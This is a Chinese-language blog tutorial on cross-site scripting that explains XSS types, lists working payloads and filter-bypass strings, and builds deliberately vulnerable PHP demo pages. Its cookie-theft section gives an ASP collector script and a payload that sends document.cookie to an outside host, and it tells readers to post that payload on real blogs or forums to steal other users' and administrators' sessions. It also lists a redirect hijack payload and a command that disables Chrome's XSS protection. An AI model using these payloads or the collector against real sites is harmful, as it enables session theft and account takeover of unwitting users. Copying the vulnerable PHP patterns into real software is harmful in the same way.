XSS攻击

XSS攻击

原理

人们经常将跨站脚本攻击(Cross Site Scripting)缩写为CSS,但这会与层叠样式表(Cascading Style Sheets,CSS)的缩写混淆。因此,有人将跨站脚本攻击缩写为XSS。XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、 VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

在这里插入图片描述

类型

###(1)存储型:

最直接的危害类型,跨站代码存储在服务器(数据库)。存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie

在这里插入图片描述
###(2)反射型 :
反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
在这里插入图片描述
###(3)DOM跨站(DOM XSS):
DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。
DOM的详解:可能触发DOM型XSS的属性
document.referer
window.name
location
innerHTML
documen.write

xss攻击常见编码

在这里插入图片描述

xss攻击常见测试语句

在这里插入图片描述

攻击方式

1、盗用cookie,获取敏感信息。
2、利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3、利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
4、利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS攻击的效果。

XSS的攻击载荷

**<script>标签:**
	<script>alert("hack")</script>   #弹出hack
	<script>alert(/hack/)</script>   #弹出hack
	<script>alert(1)</script>        #弹出1,对于数字可以不用引号
	<script>alert(document.cookie)</script>      #弹出cookie
	<script src=http://xxx.com/xss.js></script>  #引用外部的xss
**svg标签 :**
	<svg onload="alert(1)">
	<svg onload="alert(1)"
**//<img>标签:**
	<img  src=1  οnerrοr=alert("hack")>
	<img  src=1  οnerrοr=alert(document.cookie)>  #弹出cookie
**<body>标签:**
	<body οnlοad=alert(1)>
	<body οnpageshοw=alert(1)>
**video标签:**
	<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
**style标签:**
	<style οnlοad=alert(1)></style>

XSS可以插在哪里?

用户输入作为script标签内容
用户输入作为HTML注释内容
用户输入作为HTML标签的属性名
用户输入作为HTML标签的属性值
用户输入作为HTML标签的名字
直接插入到CSS里最
重要的是,千万不要引入任何不可信的第三方JavaScript到页面里!
	#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
	<!-- 用户输入 -->
	<!-- --><script>alert('hack')</script><!-- -->
	#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
	<div 用户输入="xx">  </div>
	<div ></div><script>alert('hack')</script><div a="xx"> </div>
	#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
	<div id="用户输入"></div>
	<div id=""></div><script>alert('hack')</script><div a="x"></div>
	#用户输入作为标签名,导致攻击者可以进行闭合绕过
	<用户输入  id="xx" />
	<><script>alert('hack')</script><b id="xx" />
	#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
	<style>用户输入<style>
	<style> </style><script>alert('hack')</script><style> </style>

常见业务场景

重灾区:评论区、留言区、个人信息、订单信息等
针对型:站内信、网页即时通讯、私信、意见反馈
存在风险:搜索框、当前目录、图片属性等

反射性xss示例

关闭Google的xss防护
	"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --args --disable-xss-auditor
	![在这里插入图片描述](https://img-blog.csdnimg.cn/2020010215563834.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0NhcHRpYW5H,size_16,color_FFFFFF,t_70)

php配置文件

改为off

在这里插入图片描述

新建xss.php文件

```
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>XSS</title>
</head>
<body>
<form action="" method="get">
<input type="text" name="input">
<input type="submit">
</form>
<br>
<?php
$XssReflex = $_GET['input'];
echo 'output:<br>'.$XssReflex;
?>
</body>
</html>
```

打开Goolgle输入url:http://localhost/xss.php,提示框输入

在这里插入图片描述
可以看到浏览器成功弹窗,说明我们输出的JavaScript代码成功被执行了。
在这里插入图片描述

存储型xss示例

新建cxss.php文件
这个页面采用POST提交数据,生成、读取文本模拟数据库,提交数据之后页面会将数据写入sql.txt,再打开页面时会读取sql.txt中内容并显示在网页上,实现了存储型xss攻击模拟。

```
<span style="font-size:18px;"><meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<html>
<head>
<title>cxss</title>
</head>
<body>
<h2>Message Board<h2>
<br>
<form action="cxss.php" method="post">
Message:<textarea id='Mid' name="desc"></textarea>
<br>
<br>
Subuser:<input type="text" name="user"/><br>
<br>
<input type="submit" value="submit" onclick='loction="cxss.php"'/>
</form>
<?php
if(isset($_POST['user'])&&isset($_POST['desc'])){
$log=fopen("sql.txt","a");
fwrite($log,$_POST['user']."\r\n");
fwrite($log,$_POST['desc']."\r\n");
fclose($log);
}
if
(file_exists("sql.txt"))
{
$read= fopen("sql.txt",'r');
while(!feof($read))
{
echo fgets($read)."</br>";
}
fclose($read);
}
?>
</body>
</html></span>
```

打开浏览器输入http://localhost/cxss.php
在这里插入图片描述
当我们在Message中输入时,页面成功弹窗 :并且我们重启浏览器之后再加载该页面,页面依然会弹窗,这是因为恶意代码已经写入数据库中,每当有人访问该页面时,恶意代码就会被加载执行!
在这里插入图片描述
这就是所谓的存储型XSS漏洞,一次提交之后,每当有用户访问这个页面都会受到XSS攻击,危害巨大。
利用xss盗取cookie
创建cookie.asp文件放在网站 服务器下http://192.168.8.182:8080

```
<html>
<title>xx</title>
<body>
<%testfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
msg = Request("msg") //获取提交过来的msg变量,也就是cookie值
set fs = server.CreateObject("scripting.filesystemobject")//创建一个fs对象
set thisfile = fs.OpenTextFile(testfile,8,True,0)
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
thisfile.close() //关闭
set fs = nothing%>
</body>
</html>
```

xss构造语句

<script>window.open('http://192.168.8.182:8080/cookie.asp?msg='+document.cookie)</script>
把上述语句放到你找到的存在XSS的目标中,不过这里最好是存储型xss,比如你找到了某个博客或者论坛什么的存在存储型XSS,你在里面发一篇帖子或者留上你的评论,内容就是上述语句,当其他用户或者管理员打开这个评论或者帖子链接后,就会触发,然后跳转到http://192.168.8.182:8080/cookie.asp?msg='+document.cookie的页面,然后当前账户的coolie信息就当成参数发到你的网站下的文件里了。然后的然后你就可以那这个cookie登陆了。。。。。。 

恶意跳转代码
劫持流量实现恶意跳转,所访问的网站会被跳转到百度的首页

存储型xss图片,点击图片跳转到百度
< img οnclick=“window.location.href=‘http://www.baidu.com’” width=‘300’ src=‘img/webwxgetmsgimg.jpg’/>

利用与绕过

**大小写绕过**
	这个绕过方式的出现是因为网站仅仅只过滤了<script>标签,而没有考虑标签中的大小写并不影响浏览器的解释所致。						
	http://192.168.8.182/xss/example2.php?name=<sCript>alert("hey!")</scRipt>
**利用过滤后返回语句再次构成攻击语句来绕过**
	例如我们直接敲入script标签发现返回的网页代码中script标签被去除了,但其余的内容并没有改变。于是我们就可以人为的制造一种巧合,让过滤完script标签后的语句中还有script标签(毕竟alert函数还在)											
	http://192.168.8.182/xss/example3.php?name=<sCri<script>pt>alert("hey!")</scRi</script>pt>
并不是只有script标签才可以插入代码
	这里我们用<img>标签做一个示范。
	http://192.168.8.182/xss/example4.php?name=<img src='w.123' onerror='alert("hey!")'>
**编码脚本代码绕过关键字过滤**
	有的时候,服务器往往会对代码中的关键字(如alert)进行过滤,这个时候我们可以尝试将关键字进行编码后再插入,不过直接显示编码是不能被浏览器执行的,我们可以用另一个语句eval()来实现。eval()会将编码过的语句解码后再执行。
	例如alert(1)编码过后就是\u0061\u006c\u0065\u0072\u0074(1)
	http://192.168.8.182/xss/example5.php?name=<script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>
**主动闭合标签实现注入代码**
	下图代码,自带script标签,填入的内容被放在了变量里!
				![在这里插入图片描述](https://img-blog.csdnimg.cn/20200102161422297.png)
这个时候就要我们手动闭合掉两个双引号来实现攻击,别忘了,javascript是一个弱类型的编程语言,变量的类型往往并没有明确定义。
http://192.168.8.186/xss/example6.php?name=";alert("I amcoming again~");"
之后看以下注入完代码的网页代码,发现我们一直都在制造巧合。

在这里插入图片描述

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值